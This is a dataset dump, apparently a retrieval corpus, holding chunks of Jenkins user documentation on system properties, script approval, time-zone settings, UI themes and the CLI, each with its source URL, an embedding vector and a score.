content
large_stringlengths
3
20.5k
url
large_stringlengths
54
193
branch
large_stringclasses
4 values
source
large_stringclasses
42 values
embeddings
listlengths
384
384
score
float64
-0.21
0.65
===== name: jenkins.security.seed.UserSeedProperty.hideUserSeedSection `ui` `security` \*Default\*: `false` \*Since\*: 2.160 and 2.105.2 \*Description\*:: Hide the UI for \_user seed\_ introduced for link:https://www.jenkins.io/security/advisory/2019-01-16///SECURITY-901[SECURITY-901]. ===== name: jenkins.security.stapler.StaplerDispatchValidator.disabled `escape hatch` `security` \*Default\*: `false` \*Since\*: 2.186 and 2.176.2 \*Description\*:: Escape hatch for link:https://www.jenkins.io/security/advisory/2019-07-17///SECURITY-534[SECURITY-534]. ===== name: jenkins.security.stapler.StaplerDispatchValidator.whitelist `escape hatch` `security` \*Default\*: `stapler-views-whitelist.txt` in `JENKINS\_HOME` \*Since\*: 2.186 and 2.176.2 \*Description\*:: Override the location of the user configurable whitelist for stapler view dispatches. This augments the built-in whitelist for link:https://www.jenkins.io/security/advisory/2019-07-17///SECURITY-534[SECURITY-534] that allows dispatches to views that would otherwise be prohibited. ===== name: jenkins.security.stapler.StaticRoutingDecisionProvider.whitelist `escape hatch` `security` \*Default\*: `stapler-whitelist.txt` in `JENKINS\_HOME` \*Since\*: 2.154 and 2.138.4 \*Description\*:: Override the location of the user configurable whitelist for stapler request routing. This augments the built-in whitelist for link:https://www.jenkins.io/security/advisory/2018-12-05///SECURITY-595[SECURITY-595] that allows routing requests through methods that would otherwise be prohibited. ===== name: jenkins.security.stapler.TypedFilter.prohibitStaticAccess `escape hatch` `security` \*Default\*: `true` \*Since\*: 2.154 and 2.138.4 \*Description\*:: Prohibits access to `public static` fields when routing requests in Stapler. Escape hatch for link:https://www.jenkins.io/security/advisory/2018-12-05///SECURITY-595[SECURITY-595]. ===== name: jenkins.security.stapler.TypedFilter.skipTypeCheck `escape hatch` `security` \*Default\*: `false` \*Since\*: 2.154 and 2.138.4 \*Description\*:: Skip (return) type check when determining whether a method or field should be routable with Stapler (i.e. allow any return type). Escape hatch for link:https://www.jenkins.io/security/advisory/2018-12-05///SECURITY-595[SECURITY-595]. ===== name: jenkins.security.SuspiciousRequestFilter.allowSemicolonsInPath `escape hatch` `security` \*Default\*: `false` \*Since\*: 2.228 and 2.204.6 \*Description\*:: Escape hatch for link:https://www.jenkins.io/security/advisory/2020-03-25///SECURITY-1774[SECURITY-1774]. Allows requests to URLs with semicolon characters (`;`) in the request path. [#jenkins-security-systemreadpermission] ===== name: jenkins.security.SystemReadPermission `feature` `security` \*Default\*: `false` \*Since\*: 2.222 \*Description\*:: Enable the optional Overall/SystemRead permission that allows read-only access to administrative features suitable for a managed Jenkins Configuration as Code environment. See https://github.com/jenkinsci/jep/tree/master/jep/224[JEP-224]. ===== name: jenkins.security.UserDetailsCache.EXPIRE\_AFTER\_WRITE\_SEC `tuning` `security` \*Default\*: `120` (2 minutes) \*Since\*: 2.15 \*Description\*:: How long a cache for `UserDetails` should be valid for before it is looked up again from the security realm. See https://issues.jenkins.io/browse/JENKINS-35493[JENKINS-35493]. ===== name: jenkins.slaves.DefaultJnlpSlaveReceiver.disableStrictVerification `security` \*Default\*: `false` \*Since\*: 2.28 //description: '' // TODO describe ===== name: jenkins.slaves.JnlpSlaveAgentProtocol3.enabled `obsolete` // TODO update this \*Default\*: undefined \*Since\*: 1.653 \*Description\*:: `false` to disable the JNLP3 agent protocol, `true` to enable it. Otherwise, it's randomly enabled/disabled to A/B test it. Obsolete since the protocol was removed in 2.214. ===== name: jenkins.slaves.NioChannelSelector.disabled `escape hatch` \*Default\*: `false` \*Since\*: 1.560 \*Description\*:: `true` to disable Nio for JNLP agents ===== name: jenkins.slaves.StandardOutputSwapper.disabled `escape hatch` // TODO Unsure how this works. References: // - https://github.com/jenkinsci/jenkins/blob/3fd66ff22051a3309b8dc5130d8da0759ee27f48/core/src/main/java/jenkins/slaves/StandardOutputSwapper.java // - https://github.com/jenkinsci/remoting/commit/fad8c38724068dfbd155e64508e5d4c154240b87 \*Default\*: `false` \*Since\*: 1.429 \*Description\*:: Some Unix-like agents (e.g. SSH Build Agents) can communicate via stdin/stdout, which is very convenient. Unfortunately, some JVM output (e.g. related to GC) also goes to standard out. This will swap output streams around to prevent stream corruption through unexpected writes to standard out. ===== name: jenkins.SoloFilePathFilter.redactErrors `escape hatch` `security` \*Default\*: `true` \*Since\*: 2.319 and 2.303.3 \*Description\*:: Set to `false` to not redact error messages when the agent-to-controller file path filters reject a file access. This can give attackers information about files and directories on the Jenkins controller file system. [#jenkins-telemetry-telemetry-endpoint] ===== name: jenkins.telemetry.Telemetry.endpoint `development` // https://github.com/jenkinsci/jenkins/pull/3604 \*Default\*: `+https://uplink.jenkins.io/events+` \*Since\*: 2.143 \*Description\*:: Change the endpoint that JEP-214/Uplink telemetry sends data to. Expected to be used for testing only. ===== name: jenkins.ui.refresh `ui` `feature` \*Default\*: `false` \*Since\*: 2.222 \*Description\*:: `true` to enable the new experimental UX on Jenkins. See https://issues.jenkins.io/browse/JENKINS-60920[JENKINS-60920]. Also see xref:sigs:ux:index.adoc[Jenkins UX SIG]. Has no effect since https://github.com/jenkinsci/jenkins/commit/51e7142d5705c10833e0959fdf2534a32b0e7d86[2.344] as the feature has been removed. ===== name: jenkins.websocket.idleTimeout `tuning` \*Default\*: `60` \*Since\*: 2.395 \*Description\*:: Number of seconds a WebSocket agent connection may stay idle until it expires. `0` to disable. Must be higher than `jenkins.websocket.pingInterval`. ===== name: jenkins.websocket.pingInterval `tuning` \*Default\*: `30` \*Since\*: 2.217 \*Description\*:: Number of seconds between server-sent pings over WebSocket agent connections. `0` to disable. Must be lower than `jenkins.websocket.idleTimeout`. ===== name: jenkins.util.ProgressiveRendering.DEBUG\_SLEEP \*Default\*: `0`
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/system-properties.adoc
main
jenkins
[ -0.049904223531484604, 0.10699689388275146, -0.02685004100203514, 0.024750208482146263, 0.047843944281339645, -0.07328430563211441, -0.007374167907983065, -0.032233163714408875, -0.0014894652413204312, -0.05574899539351463, 0.03532484918832779, -0.07257097214460373, 0.022965922951698303, -...
0.006992
a WebSocket agent connection may stay idle until it expires. `0` to disable. Must be higher than `jenkins.websocket.pingInterval`. ===== name: jenkins.websocket.pingInterval `tuning` \*Default\*: `30` \*Since\*: 2.217 \*Description\*:: Number of seconds between server-sent pings over WebSocket agent connections. `0` to disable. Must be lower than `jenkins.websocket.idleTimeout`. ===== name: jenkins.util.ProgressiveRendering.DEBUG\_SLEEP \*Default\*: `0` \*Description\*:: Debug/development option to slow down the cancelling of progressive rendering when the client fails to send a heartbeat. ===== name: JENKINS\_HOME `feature` \*Default\*: `~/.jenkins` \*Description\*:: While typically set as an environment variable, Jenkins also looks up the path to its home directory as a system property. `JENKINS\_HOME` set via JNDI context has higher priority than this, but this takes precedence over the environment variable. ===== name: org.jenkinsci.main.modules.sshd.SSHD.idle-timeout `tuning` // This is a core module, so this documentation should remain here. \*Default\*: undefined \*Since\*: 2.22 \*Description\*:: Allows to configure the SSHD client idle timeout (value in milliseconds). Default value is 10min (600000ms). ===== name: org.jenkinsci.plugins.workflow.steps.durable\_task.DurableTaskStep.REMOTE\_TIMEOUT `tuning` // TODO move to plugin documentation def: 20 seconds \*Since\*: workflow-durable-task-step-plugin 2.29 \*Description\*:: How long to wait, in seconds, before interrupting remote calls and forcing cleanup when the step is stopped. See https://issues.jenkins.io/browse/JENKINS-46507[JENKINS-46507] for more information. ===== name: org.jenkinsci.plugins.workflow.steps.durable\_task.DurableTaskStep.USE\_WATCHING `feature` \*Default\*: `false` \*Since\*: workflow-durable-task-step-plugin 2.22 \*Description\*:: `true` to enable the experimental push mode for durable task logging. See https://issues.jenkins.io/browse/JENKINS-52165[JENKINS-52165] for more information. ===== name: org.jenkinsci.plugins.workflow.support.pickles.ExecutorPickle.timeoutForNodeMillis `tuning` def: 5 minutes (300,000 milliseconds) \*Since\*: workflow-durable-task-step-plugin 2.14 \*Description\*:: How long to wait, in milliseconds, before aborting the build if an agent has been removed. See https://issues.jenkins.io/browse/JENKINS-36013[JENKINS-36013] for more information. ===== name: org.jenkinsci.plugins.workflow.support.steps.ExecutorStepExecution.REMOVED\_NODE\_DETECTION `feature` \*Default\*: `true` \*Since\*: workflow-durable-task-step-plugin 2.32 \*Description\*:: `false` to prevent Jenkins from aborting the build if an agent has been removed. See https://issues.jenkins.io/browse/JENKINS-49707[JENKINS-49707] for more information. ===== name: org.kohsuke.stapler.Facet.allowViewNamePathTraversal `escape hatch` `security` \*Default\*: `false` \*Since\*: 2.138.2, 2.146 \*Description\*:: Allows specifying non-simple names for views, including ones resulting in path traversal. This is an escape hatch for the link:https://www.jenkins.io/security/advisory/2018-10-10///SECURITY-867[SECURITY-867] fix. ===== name: org.kohsuke.stapler.jelly.IncludeTag.skipLoggingClassSetter `escape hatch` \*Default\*: `false` \*Since\*: '2.288' \*Description\*:: Do not log attempts to set the `class` property of `st:include` tags directly. No log messages should be emitted in regular use, but they can be disabled if they cause unnecessary noise in the system log. ===== name: org.kohsuke.stapler.RequestImpl.ALLOWED\_HTTP\_VERBS\_FOR\_FORMS `escape hatch` `security` \*Default\*: `POST` \*Since\*: 2.277.2, 2.287 \*Description\*:: HTTP verbs of requests that are allowed to provide `StaplerRequest//getSubmittedForm` or `@SubmittedForm`. Escape hatch for a security hardening, see link:https://www.jenkins.io/doc/upgrade-guide/2.277///submittedform[2.277.2 upgrade guide]. ===== name: org.kohsuke.stapler.RequestImpl.FILEUPLOAD\_MAX\_FILES `escape hatch` `tuning` `security` \*Default\*: `1000` \*Since\*: 2.375.4, 2.394 \*Description\*:: Limits the number of form fields that can be processed in one `multipart/form-data` request. Used to set `org.apache.commons.fileupload.servlet.ServletFileUpload//setFileCountMax(long)`. Despite the name, this applies to all form fields, not just actual file attachments. `-1` disables this limit. ===== name: org.kohsuke.stapler.RequestImpl.FILEUPLOAD\_MAX\_FILE\_SIZE tags: // Not an escape hatch since it's disabled by default - tuning - security \*Default\*: `-1` \*Since\*: 2.375.4, 2.394 \*Description\*:: Limits the size (in bytes) of individual fields that can be processed in one `multipart/form-data` request. Despite the name, this applies to all form fields, not just actual file attachments. `-1` disables this limit. ===== name: org.kohsuke.stapler.RequestImpl.FILEUPLOAD\_MAX\_SIZE tags: // Not an escape hatch since it's disabled by default - tuning - security \*Default\*: `-1` \*Since\*: 2.375.4, 2.394 \*Description\*:: Limits the total request size (in bytes) that can be processed in one `multipart/form-data` request. Used to set `org.apache.commons.fileupload.servlet.ServletFileUpload//setSizeMax(long)`. `-1` disables this limit. ===== name: stapler.jelly.noCache `development` \*Default\*: `false` \*Description\*:: Controls both caching of various cacheable resources (Jelly scripts etc.) and the `Expires` HTTP response header for some static resources. Useful during development to see the effect of changes after reload. [#stapler-jelly-trace] ===== name: stapler.jelly.trace `development` \*Default\*: `false` \*Description\*:: Enables tracing of Jelly view composition.
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/system-properties.adoc
main
jenkins
[ -0.025697868317365646, 0.022240271791815758, -0.001077720196917653, 0.06819307804107666, -0.00013344004401005805, -0.06906171888113022, -0.003255195450037718, -0.02939533069729805, 0.042242035269737244, -0.03648409619927406, -0.021768473088741302, -0.02282930724322796, -0.02282351441681385, ...
0.130839
stapler.jelly.noCache `development` \*Default\*: `false` \*Description\*:: Controls both caching of various cacheable resources (Jelly scripts etc.) and the `Expires` HTTP response header for some static resources. Useful during development to see the effect of changes after reload. [#stapler-jelly-trace] ===== name: stapler.jelly.trace `development` \*Default\*: `false` \*Description\*:: Enables tracing of Jelly view composition. View the resulting page source to see comments indicating which parts of the view were created from which view fragments. ===== name: stapler.legacyGetterDispatcherMode `security` `escape hatch` \*Default\*: `false` \*Description\*:: Do not filter get methods at the Stapler framework level. Escape hatch for link:https://www.jenkins.io/security/advisory/2018-12-05///SECURITY-595[SECURITY-595]. ===== name: stapler.legacyWebMethodDispatcherMode `security` `escape hatch` \*Default\*: `false` \*Description\*:: Do not filter web methods ("do" actions) at the Stapler framework level. Escape hatch for link:https://www.jenkins.io/security/advisory/2018-12-05///SECURITY-595[SECURITY-595]. ===== name: stapler.resourcePath `development` \*Default\*: undefined \*Description\*:: Additional debug resource paths. Set by the core development tooling so developers can see the effect of changes immediately after reloading the page. [#stapler-trace] ===== name: stapler.trace `development` \*Default\*: `true` when run using `mvn jetty:run` (core war) or `mvn hpi:run` (plugins), `false` otherwise \*Description\*:: Trace request handling and report the result using `Stapler-Trace-...` response headers. Additionally, renders a diagnostic HTTP 404 error page when the request could not be processed. [#stapler-trace-per-request] ===== name: stapler.trace.per-request `development` \*Default\*: `false` \*Description\*:: Trace request handling (see above) for requests with the `X-Stapler-Trace` request header set. ===== name: jenkins.util.groovy.GroovyHookScript.ROOT\_PATH \*Since\*: 2.273 `packaging` \*Default\*: `$JENKINS\_HOME` \*Description\*:: Set the root directory used to load groovy hooks scripts. ===== name: jenkins.branch.MultiBranchProject.fireSCMSourceBuildsAfterSave \*Since\*: branch-api 2.7.0 `feature` \*Default\*: `true` \*Description\*:: When Multibranch Pipeline is reloaded from XML, it notifies its branch sources about it and triggers a scan if possible. This flag allows turning off this behavior. When Job DSL manages the items, this can avoid triggering many scans, which can potentially cause a build storm. The downside is that the branch source might use this notification to register webhooks or do any other useful setup work. --- == Jenkins Features Controlled with System Properties Jenkins has several "hidden" features that can be enabled with system properties. This page documents many of them and explain how to configure them on your instance. Some system properties related to the Remoting library used for communication between controller and agents are documented in https://github.com/jenkinsci/remoting/blob/master/docs/configuration.md[that component's repository]. === Usage System properties are defined by passing `-Dproperty=value` to the `java` command line to start Jenkins. Make sure to pass all of these arguments \*before\* the `-jar` argument, otherwise they will be ignored. Example: ```sh java -Dhudson.footerURL=http://example.org -jar jenkins.war ``` The following lists the properties and the version of Jenkins they were introduced in. \* `\*Property\*` - Java property name \* \*Default\* - Default value if not explicitly set \* \*Since\* - The version of Jenkins the property was introduced in \* \*Description\* - Other notes ==== Compatibility We do \*\*NOT\*\* guarantee that system properties will remain unchanged and functional indefinitely. These switches are often experimental in nature, and subject to change without notice. If you find these useful, please file a ticket to promote it to an official feature. === Properties in Jenkins Core [NOTE] Due to the very large number of system properties used, often just added as a "safety valve" or "escape hatch" in case a change causes problems, this list is not expected to be complete. .References \*\*\*\* \* https://wiki.jenkins.io/display/JENKINS/Administering+Jenkins[Administering Jenkins] \* http://jenkins.io/doc/book/installing///configuring-http[Configuring HTTP in Jenkins] \* https://github.com/jenkinsci/remoting/blob/master/docs/configuration.md[Remoting configuration] \*\*\*\* ++++ dd { margin-left: 30px; } dd div.tag { } span.tag { display: inline-block; border: 1px solid //666; background-color: //eee; color: //333; border-radius: 4px; font-size: 0.75rem; font-weight: 500; padding: 0 0.5rem; margin: 0.25rem 0.5rem 0.25rem 0; text-decoration: none; text-align: center; white-space: nowrap; vertical-align: baseline; text-transform: capitalize; }
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/system-properties.adoc
main
jenkins
[ -0.05274767056107521, 0.032321903854608536, -0.02515646629035473, -0.0028293465729802847, 0.017469577491283417, -0.08485231548547745, -0.04628508538007736, -0.054092299193143845, 0.007359233684837818, -0.037116460502147675, -0.004398246295750141, 0.036237046122550964, -0.017612503841519356, ...
0.016508
https://github.com/jenkinsci/remoting/blob/master/docs/configuration.md[Remoting configuration] \*\*\*\* ++++ dd { margin-left: 30px; } dd div.tag { } span.tag { display: inline-block; border: 1px solid //666; background-color: //eee; color: //333; border-radius: 4px; font-size: 0.75rem; font-weight: 500; padding: 0 0.5rem; margin: 0.25rem 0.5rem 0.25rem 0; text-decoration: none; text-align: center; white-space: nowrap; vertical-align: baseline; text-transform: capitalize; } /\* Work around wrapper block elements added for Asciidoctor conversions that would break the layout \*/ .def div { display: inline-block; } .def div p { margin: 0; } document.addEventListener('DOMContentLoaded', function(event) { anchors.add('dt'); }); ++++
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/system-properties.adoc
main
jenkins
[ -0.07444970309734344, 0.10224112123250961, 0.02450960874557495, 0.03154695779085159, 0.05870328098535538, -0.034922439604997635, -0.07595201581716537, -0.020204318687319756, 0.03088143840432167, -0.037911973893642426, -0.05313173681497574, 0.04537127912044525, -0.03227439895272255, -0.0029...
-0.037303
= In-process Script Approval Jenkins, and a number of plugins, allow users to execute Groovy scripts \_in\_ Jenkins. These scripting capabilities are provided by: \* xref:user-docs:managing:script-console.adoc[Script Console]. \* xref:user-docs:pipeline:index.adoc[Jenkins Pipeline]. \* The {plugin}email-ext[Extended Email plugin]. \* The {plugin}groovy[Groovy plugin] - when using the "Execute system Groovy script" step. \* The {plugin}job-dsl[JobDSL plugin] as of version 1.60 and later. To protect Jenkins from execution of malicious scripts, these plugins execute user-provided scripts in a <> that limits the internal APIs that are accessible. This protection is provided by the {plugin}script-security[Script Security plugin]. As soon as an unsafe method is used in any of the scripts, the administrator can use the "In-process Script Approval" action appears in \*Manage Jenkins\* to allow the unsafe method. Unsafe methods should not be enabled without careful consideration of the impact. image::manage-inprocess-script-approval.png["Entering the In-process Script Approval configuration", role=center] == Getting Started The {plugin}script-security[Script Security plugin] is installed automatically by the xref:installing-jenkins:linux.adoc#setup-wizard[Post-install Setup Wizard], although initially no additional scripts or operations are approved for use. [IMPORTANT] ==== Older versions of this plugin may not be safe to use. Please review the security warnings listed on {plugin}script-security[the Script Security plugin page] in order to ensure that the {plugin}script-security[Script Security plugin] is up to date. ==== Security for in-process scripting is provided by two different mechanisms: the <> and <>. The first, the Groovy Sandbox, is enabled by default for xref:pipeline:index.adoc[Jenkins Pipeline] allowing user-supplied Scripted and Declarative Pipeline to execute without prior Administrator intervention. The second, Script Approval, allows Administrators to approve or deny unsandboxed scripts, or allow sandboxed scripts to execute additional methods. For most systems, the combination of the Groovy Sandbox and the link:https://github.com/jenkinsci/script-security-plugin/tree/master/src/main/resources/org/jenkinsci/plugins/scriptsecurity/sandbox/whitelists[Script Security's built-in list] of approved method signatures, will be sufficient. It is strongly recommended that Administrators only deviate from these defaults if absolutely necessary. [#groovy-sandbox] == Groovy Sandbox To reduce manual interventions by Administrators, most scripts will run in a Groovy Sandbox by default, including all xref:pipeline:index.adoc[Jenkins Pipelines]. The sandbox only allows a subset of Groovy's methods deemed sufficiently safe for "untrusted" access to be executed without prior approval. Scripts using the Groovy Sandbox are \*all\* subject to the same restrictions, therefore a Pipeline authored by an Administrator is subject to the restrictions as one authorized by a non-administrative user. When a script attempts to use features or methods unauthorized by the sandbox, a script is halted immediately, as shown below with Jenkins Pipeline .Unauthorized method signature rejected at runtime via Blue Ocean image::script-sandbox-rejection.png["Sandbox method rejection", role=center] The Pipeline above will not execute until an Administrator xref:#approving-method-signature[ approves the method signature] via the \*In-process Script Approval\* page. In addition to adding approved method signatures, users may also disable the Groovy Sandbox entirely as shown below. Disabling the Groovy Sandbox requires that the \*\*entire\*\* script must be reviewed and xref:#approving-unsandboxed-pipeline[ manually approved] by an administrator. .Disabling the Groovy Sandbox for a Pipeline image::unchecked-groovy-sandbox-on-pipeline.png["Creating a Scripted Pipeline and unchecking 'Use Groovy Sandbox'", role=center] [#script-approval] == Script Approval Manual approval of entire scripts, or method signatures, by an administrator provides Administrators with additional flexibility to support more advanced usages of in-process scripting. When the <> is disabled, or a method outside of the built-in list is invoked, the Script Security plugin will check the Administrator-managed list of approved scripts and methods. [IMPORTANT] ==== When a script is approved, it is approved for use in any Jenkins feature or plugin that integrates with script approval. Script approval is not tied to a specific job or to any other specific use of the script. Due to this, care must be taken when approving a script to ensure that any
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/script-approval.adoc
main
jenkins
[ -0.13134866952896118, 0.0026586069725453854, -0.04189666360616684, -0.05730164796113968, 0.051141854375600815, -0.08384193480014801, 0.03701942414045334, 0.010366602800786495, 0.033043235540390015, 0.004918829072266817, -0.031617697328329086, 0.025892000645399094, 0.013807098381221294, -0....
0.088835
approved, it is approved for use in any Jenkins feature or plugin that integrates with script approval. Script approval is not tied to a specific job or to any other specific use of the script. Due to this, care must be taken when approving a script to ensure that any user supplied parameters can not be used to exploit the controller. ==== For scripts which wish to execute outside of the <>, the Administrator must approve the \*entire\* script in the \*In-process Script Approval\* page: [#approving-unsandboxed-pipeline] .Approving an unsandboxed Scripted Pipeline image::inprocess-script-approval-pipeline.png["Approving an unsandboxed Scripted Pipeline", role=center] For scripts which use the <>, but wish to execute an currently unapproved method signature will also be halted by Jenkins, and require an Administrator to approve the specific method signature before the script is allowed to execute: [#approving-method-signature] .Approving a new method signature image::inprocess-script-approval-method.png["Approving a new method signature", role=center] === Approve assuming permissions check Script approval provides three options: Approve, Deny, and "Approve assuming permissions check." While the purpose of the first two are self-evident, the third requires some additional understanding of what internal data scripts are able to access and how permissions checks inside of Jenkins function. Consider a script which accesses the method `hudson.model.AbstractItem.getParent()`, which by itself is harmless and will return an object containing either the folder or root item which contains the currently executing Pipeline or Job. Following that method invocation, executing `hudson.model.ItemGroup.getItems()`, which will list items in the folder or root item, requires the `Job/Read` permission. This could mean that approving the `hudson.model.ItemGroup.getItems()` method signature would allow a script to bypass built-in permissions checks. Instead, it is usually more desirable to click \*Approve assuming permissions check\* which will cause the Script Approval engine to allow the method signature assuming the user running the script has the permissions to execute the method, such as the `Job/Read` permission in this example.
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/script-approval.adoc
main
jenkins
[ -0.08121532201766968, 0.013414744287729263, -0.0015368952881544828, -0.02130736969411373, 0.031178027391433716, -0.07948201894760132, -0.029831087216734886, -0.009075292386114597, -0.025685949251055717, 0.03105401247739792, 0.01706983894109726, 0.008083585649728775, 0.02603178098797798, -0...
0.063111
= Change System Time Zone The system time zone configuration is the default time zone displayed by Jenkins. The "Manage Jenkins" => "System Information" page shows the value of the system properties that define the time zone for the Jenkins controller. Refer to the following video for tips on changing the time zone .Changing the time zone in Jenkins video::4UmY4dDAlo0[youtube,width=800,height=420] == User Defined Time Zone A user defined time zone for the account can be set from the configure option in the user settings. image::user-docs:managing:change-system-timezone-user-defined-timezone.png["Configure option in the dropdown",role=center,width=800] image::user-docs:managing:change-system-timezone-user-defined-timezone-2.png["Changing user defined timezone setting",role=center,width=800] == System Time Zone properties If you cannot change the time zone of your server, you can force jelly to use a given time zone for formatting time stamps. You need to start your Jenkins with the following java system property: [source,java] ---- java -Dorg.apache.commons.jelly.tags.fmt.timeZone=TZ ... ---- where TZ is a java.util.TimeZone ID ("Europe/Paris" for example). \_Note that `+user.timezone=Europe/Paris+` will work as well, but it can interfere with other contexts.\_ If running Jenkins via a Linux package, this can be accomplished by running `systemctl edit jenkins` and adding the following: [source] ---- [Service] Environment="JAVA\_OPTS=-Dorg.apache.commons.jelly.tags.fmt.timeZone=America/New\_York" ---- or, if that doesn't work: [source] ---- [Service] Environment="JAVA\_OPTS=-Duser.timezone=America/New\_York" ---- On FreeBSD, the file to edit is /etc/rc.conf, and the option to use is: [source] ---- jenkins\_java\_opts="-Dorg.apache.commons.jelly.tags.fmt.timeZone=America/Denver" ---- On windows, edit `%INSTALL\_PATH%/jenkins/jenkins.xml`. Put `-Dargs` before `-jar`: [source] ---- -Duser.timezone="Europe/Minsk" -jar "%BASE%\jenkins.war" ---- You can also set it from the xref:managing:script-console.adoc[Jenkins Script Console] on a live system without the need for a restart. This can also be included in a xref:managing:groovy-hook-scripts.adoc[Post-initialization script] to make it permanent. [source,groovy] ---- System.setProperty('org.apache.commons.jelly.tags.fmt.timeZone', 'America/New\_York') ----
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/change-system-timezone.adoc
main
jenkins
[ -0.009299037046730518, 0.04473278298974037, -0.010490239597856998, -0.03934682160615921, 0.00958235189318657, -0.027007639408111572, -0.056988805532455444, -0.00357400462962687, 0.022414814680814743, -0.0021602988708764315, -0.0908186137676239, -0.03553898632526398, -0.00033339447691105306, ...
-0.010286
= Themes for user interface It is possible to customize Jenkins' appearance with custom themes. This feature is not a part of the Jenkins core, but it is supported through plugins. == Using built-in themes There are several plugins that provide built-in themes, the most popular are \* {plugin}dark-theme[Dark Theme Plugin] - provides a dark theme for Jenkins. Supports configuration as code to select the theme configuration. \* {plugin}material-theme[Material Theme Plugin] - port of Afonso F's link:http://afonsof.com/jenkins-material-theme/[Jenkins material theme] to use Theme Manager. \* {plugin}solarized-theme[Solarized Theme Plugin] - provides Solarized (light and dark) themes. Installing any of these will also install their common dependency: the {plugin}theme-manager[Theme Manager Plugin]. This plugin allows administrators to set the default theme for a Jenkins installation via \_Manage Jenkins > System > Built-in Themes\_ and users can set their preferred theme in their personal settings. You can also configure this plugin using {plugin}configuration-as-code[Configuration-as-Code Plugin]. See the plugin documentation for more details. == Using custom themes To be able to fully customize Jenkins appearance you can install the {plugin}simple-theme-plugin[Simple Theme Plugin]. It allows customizing the Jenkins UI by providing custom CSS and Javascript files. It also supports replacing the Favicon. To configure a theme, you can go to \_Manage Jenkins > System > Theme\_ and enter the URL of your stylesheet and/or Javascript file. You can also configure this plugin using {plugin}configuration-as-code[Configuration-as-Code Plugin]. See the plugin documentation for the detailed usage guidelines and links to sample themes. === Customizing the login screen Since Jenkins 2.128 themes configured using Simple Theme Plugin do not allow you to customize the login screen (link:https://www.jenkins.io/blog/2018/06/27/new-login-page/[announcement]). To customize the login screen you can install the {plugin}login-theme[Login Theme Plugin]. == Themes support policy WARNING: Jenkins themes are provided “as is”, without warranty of any kind, implicit or explicit. The Jenkins core, plugins and other component updates may break theme compatibility without notice. At the moment, the Jenkins project does not provide specification for layouts/CSS, and we cannot guarantee backward or forward compatibility. We try to reflect major changes in changelogs (e.g. see the ‘developer’ changes in the link:https://www.jenkins.io/changelog/[Jenkins changelog]), but minor changes may not be included there. === Why? There is an ongoing effort focused on improving Jenkins look-and-feel, accessibility, and user experience. This area is mission-critical to the project. There are multiple initiatives in the link:https://www.jenkins.io/project/roadmap/[Jenkins Roadmap] being coordinated by the xref:sigs:ux:index.adoc[Jenkins User Experience SIG]. Major UI changes imply incompatible changes in layouts and the CSS structure which is critical for theme plugins. Historically Jenkins had no explicit support policy for themes, and we do not want to provide compatibility requirements which would create obstacles for reworking the main Jenkins interface. Later, once the Jenkins UI rework reaches its destination and the UI becomes more stable, we could consider creating specifications for theme extensibility so that we could make themes more stable and maintain compatibility. == Reporting and fixing issues For built-in themes, users are welcome to report discovered compatibility issues to theme maintainers, and to submit patches there. We will generally reject bug reports to the Jenkins core/plugins involving broken UI elements with a custom theme. We will consider pull requests which restore compatibility and do not block further Web UI evolvement. NOTE: If a theme outside the link:https://github.com/jenkinsci[jenkinsci] GitHub organization is no longer maintained, it is fine to fork it and to create a new version. For themes hosted within the `jenkinsci` organization, we have an xref:dev-docs:plugin-governance:adopt-a-plugin.adoc[adoption process] which also applies to themes. == Information for theme developers We encourage Jenkins users to create themes and to share them. Such themes could be a great way to experiment with
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/ui-themes.adoc
main
jenkins
[ -0.005960024427622557, 0.07964839786291122, 0.0666046142578125, 0.02928931638598442, 0.027907419949769974, -0.0019120023353025317, 0.031094392761588097, -0.04364645481109619, -0.01416740845888853, 0.009138248860836029, -0.11694588512182236, -0.006894899997860193, 0.009338220581412315, 0.00...
0.128818
it and to create a new version. For themes hosted within the `jenkinsci` organization, we have an xref:dev-docs:plugin-governance:adopt-a-plugin.adoc[adoption process] which also applies to themes. == Information for theme developers We encourage Jenkins users to create themes and to share them. Such themes could be a great way to experiment with UI enhancements, and we would be happy to consider enhancements from them for a default Jenkins theme. To improve the user experience, please consider the following recommendations: \* Version themes with tags on Git and to maintain changelogs with explicit references to changes in the supported versions (e.g. see our release drafter documentation as one of the ways to automate changelogs). \* Explicitly define an link:https://opensource.org/licenses[OSI-approved open source license] so that users can freely modify and redistribute them. \*\* This is also a prerequisite for hosting themes in Jenkins GitHub organizations and, in the future, theme marketplaces or other similar promotion engines. If you would like to share a story about Jenkins themes, please let the xref:sigs:advocacy-and-outreach:index.adoc[Advocacy&Outreach SIG] know!
https://github.com/jenkins-infra/docs.jenkins.io/blob/main//docs/user-docs/modules/managing/pages/ui-themes.adoc
main
jenkins
[ -0.030055278912186623, 0.0255756713449955, 0.08228449523448944, -0.013636068440973759, 0.12347244471311569, -0.022037751972675323, -0.04414455220103264, -0.06737014651298523, 0.049263786524534225, -0.008299815468490124, -0.08793909847736359, 0.08812425285577774, -0.020407535135746002, 0.00...
0.162833
[#jenkins-cli] = Jenkins CLI //// Pages to mark as deprecated by this document: https://wiki.jenkins.io/display/JENKINS/Jenkins+CLI https://wiki.jenkins.io/display/JENKINS/Jenkins+SSH //// Jenkins has a built-in command line interface that allows users and administrators to access Jenkins from a script or shell environment. This can be convenient for scripting of routine tasks, bulk updates, troubleshooting, and more. The command line interface can be accessed over SSH or with the Jenkins CLI client, a `.jar` file distributed with Jenkins. [NOTE] ==== This document assumes Jenkins 2.54 or newer. Older versions of the CLI client are considered insecure and should not be used. WebSocket support is available when using both server and client 2.217 or newer. ==== [#ssh] == Using the CLI over SSH In a new Jenkins installation, the SSH service is disabled by default. Administrators may choose to set a specific port or ask Jenkins to pick a random port in the xref:user-docs:security:services.adoc#ssh-server[Security] page. In order to determine the randomly assigned SSH port, inspect the headers returned on a Jenkins URL, for example: [source] ---- % curl -Lv https://JENKINS\_URL/login 2>&1 | grep -i 'x-ssh-endpoint' < X-SSH-Endpoint: localhost:53801 % ---- With the random SSH port (`53801` 